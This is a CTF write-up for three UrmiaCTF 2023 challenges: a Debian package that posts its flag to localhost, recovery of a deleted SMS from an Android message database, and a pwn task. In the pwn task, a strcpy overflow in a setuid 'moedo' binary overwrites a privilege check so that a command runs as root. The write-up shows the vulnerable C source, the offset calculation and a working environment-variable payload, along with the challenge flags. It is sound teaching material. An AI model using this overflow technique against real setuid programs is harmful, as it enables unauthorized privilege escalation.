UrmiaCTF 2023
steganography/Deb File | The old Systems
The Challenge
1
2
3
Can you believe it? people still use linux? after the emerge of Evil E computers, nobody bothered to use linux systems. anyways, we got this file from database gaurds' pc, can you help us?
Attachment : uctfdeb-0.0.1.deb
The Solution
We are given a Debian Binary Package file, so I went straight to install it via dpkg
.
Never do this with a random binary from the internet
1
$ sudo dpkg -i uctfdeb-0.0.1.deb
and then ran uctf
:
1
2
$ uctf
curl: (7) Failed to connect to 127.0.0.1 port 7327 after 0 ms: Couldn't connect to server
The application was trying to connect to 127.0.0.1 on port 7327 most likely to communicate something ( my guess was : it’s sending the flag ). So I opened a netcat
receiver session in a new window and ran uctf
again:
1
2
3
4
5
6
7
8
$ nc -nvlp 7327
listening on [any] 7327 ...
connect to [127.0.0.1] from (UNKNOWN) [127.0.0.1] 37996
GET / HTTP/1.1
Host: 127.0.0.1:7327
User-Agent: curl/7.88.1
Accept: */*
flag: UCTF{c4n_p3n6u1n5_5urv1v3_1n_54l7_w473r}
FLAG
UCTF{c4n_p3n6u1n5_5urv1v3_1n_54l7_w473r}
forensics/Deleted Message
The Challenge
1
2
3
Cyber Police have seized a computer containing illegal content, but the data stored is secured with a password. A member of the criminal organization owning the computer was arrested. Police suspect that the password was sent to the criminal via SMS, but the message was deleted right before the arrest. You’re given a dump of the data partition of the phone (running Android 6.0). Your job as the forensic specialist is to recover the deleted password.
Attachment : data.tar.gz
The Solution
I downloaded the data.tar.gz
file and extracted it.
Then I went into data/com.android.messaging/
because that’s the place where the deleted SMS might be stored ( “Police suspect that the password was sent to the criminal via SMS” ). It had the following directories:
1
2
$ ls
app_webview cache code_cache databases shared_prefs
I thought since message is deleted it might still be in cache
but sadly it was empty. So naturally I explored the databases
directory. It had the following files:
1
2
3
$ files *
bugle_db: SQLite 3.x database, user version 1, last written using SQLite version 3008010, file counter 16, database pages 20, cookie 0x12, schema 4, largest root page 18, UTF-8, version-valid-for 16
bugle_db-journal: data
Then I opened the SQL database and viewed all the tables manually:
1
2
3
4
5
6
7
8
9
$ sqlite3 bugle_db
SQLite version 3.40.1 2022-12-28 14:03:47
Enter ".help" for usage hints.
sqlite> .tables
android_metadata draft_parts_view
conversation_image_parts_view messages
conversation_list_view participants
conversation_participants parts
conversations
Most of them were empty, but the one in which we are interested is parts
:
1
2
3
4
5
6
sqlite> .mode column
sqlite> .header on
sqlite> SELECT * FROM parts;
_id message_id text uri content_type width height timestamp conversation_id
--- ---------- ------------------- --- ------------ ----- ------ ------------- ---------------
1 1 uctf{l057_1n_urm14} text/plain -1 -1 1691777451164 1
and that’s how I got the flag
FLAG
uctf{l057_1n_urm14}
pwn/moedo
The Challenge
1
2
3
4
5
6
We've created a moe alternative to sudo called moedo.
If you can bypass its moe secuirty you'll be awarded with the flag!
telnet moe.uctf.ir 7002
Username: mashiro
Password: Qh3VRn@23jv43Q
moedo source code:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
##include <stdio.h>
##include <stdlib.h>
##include <string.h>
##include <unistd.h>
##include <grp.h>
##define MOE_ENOUGH 0x30e
int check_moe(int uid)
{
struct group *moe_group = getgrnam("moe");
int moeness = 0;
int ngroups;
gid_t *groups;
if (moe_group == NULL)
return 0;
ngroups = getgroups(0, NULL);
groups = malloc(ngroups * sizeof(*groups));
getgroups(ngroups, groups);
for (int i = 0; i < ngroups; i++)
{
if (groups[i] == moe_group->gr_gid)
{
moeness = MOE_ENOUGH;
break;
}
}
free(groups);
return moeness;
}
int main(int argc, char *argv[])
{
uid_t uid = getuid();
uid_t gid = getgid();
int moeness = check_moe(uid);
char *custom_chant = getenv("MOE_CHANT");
char chant[] = "Moe Moe Kyun!";
if (argc < 2)
{
fputs("Missing command\n", stderr);
return 1;
}
if (custom_chant)
strcpy(chant, custom_chant);
printf("UID: %u - GID: %u - Moe: %x\n", uid, gid, moeness);
if (moeness != MOE_ENOUGH)
{
fputs("You're not moe enough!\n", stderr);
return 1;
}
if (setuid(0) != 0)
{
perror("setuid() failed");
return 1;
}
if (setgid(0) != 0)
{
perror("setgid() failed");
return 1;
}
puts(chant);
if (execvp(argv[1], &argv[1]) != 0)
{
perror("execv() failed");
return 1;
}
return 0;
}
The Solution
We are given a sandboxed Alpine linux to connect to via telnet. We also have credentials for a mashiro
user.
After logging in, it tells us that the flag is located at /root/flag
and our task simple, read it.
Obviously something like cat /root/flag
doesn’t work because we don’t have the permission to do so. And sudo
doesn’t exist here, in fact the challenge tells us that they have developed an alternative called moedo
.
So if we try using moedo
:
1
2
3
4
moehost:~$ moedo "cat /root/flag"
UID: 1001 - GID: 1001 - Moe: 0
You're not moe enough!
moehost:~$
Hmm…maybe its time to view the source code which they provided:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
if (moeness != MOE_ENOUGH)
{
fputs("You're not moe enough!\n", stderr);
return 1;
}
if (setuid(0) != 0)
{
perror("setuid() failed");
return 1;
}
if (setgid(0) != 0)
{
perror("setgid() failed");
return 1;
}
puts(chant);
if (execvp(argv[1], &argv[1]) != 0)
{
perror("execv() failed");
return 1;
}
This precisely tells us that our cat
command will be executed with elevated privileges if we can bypass the moeness != MOE_ENOUGH
if-statement.
MOE_ENOUGH
is explicitly defined as 0x30e
. And our moeness
variable is calculated via the check_moe()
function. The function itself doesn’t seem to have any noticable vulnerabilities ( at least for me ). So I looked at the main function has found the bug:
1
2
if (custom_chant)
strcpy(chant, custom_chant)
The classic strcpy
vulnerability which allows us to overflow local variables in the main()
method. I then generated cyclic pattern using MsF
for 100 bytes:
1
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A
since 100 bytes are sure to overflow the simple chant[]
buffer:
1
char chant[] = "Moe Moe Kyun!";
Then I set those bytes as MOE_CHANT
env variable and run the program:
1
2
3
4
5
6
moehost:~$ export MOE_CHANT="Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A"
moehost:~$ moedo "cat /root/flag"
UID: 1648439650 - GID: 1093689921 - Moe: 39614138
You're not moe enough!
Segmentation fault
moehost:~$
Here we see a seg fault, which is a good sign. But also the content in the moeness
variable = 39614138
. This can be used to calculate the offset for overflowing this variable:
1
2
3
$ msf-pattern_offset -q 39614138
[*] Exact match at offset 26
$
To test it, we will set MOE_CHANT
env variable as "A" * 26 + "BCDE
and run the program:
1
2
3
4
5
moehost:~$ export MOE_CHANT="AAAAAAAAAAAAAAAAAAAAAAAAAABCDE"
moehost:~$ moedo "cat /root/flag"
UID: 1001 - GID: 768 - Moe: 45444342
You're not moe enough!
moehost:~$
Great we can successfully control the moeness
variable. Now let’s replace the BCDE
in env variable as 0x30e ( in little endian format ) and try again:
1
2
3
4
5
6
moehost:~$ export MOE_CHANT="$(printf 'AAAAAAAAAAAAAAAAAAAAAAAAAA\xe\x03')"
moehost:~$ moedo cat /root/flag
UID: 1001 - GID: 1001 - Moe: 30e
AAAAAAAAAAAAAAAAAAAAAAAAAA
uctf{m45h1r0_d1dn7_61v3_up}
moehost:~$
BOOM! We got the flag
FLAG
uctf{m45h1r0_d1dn7_61v3_up}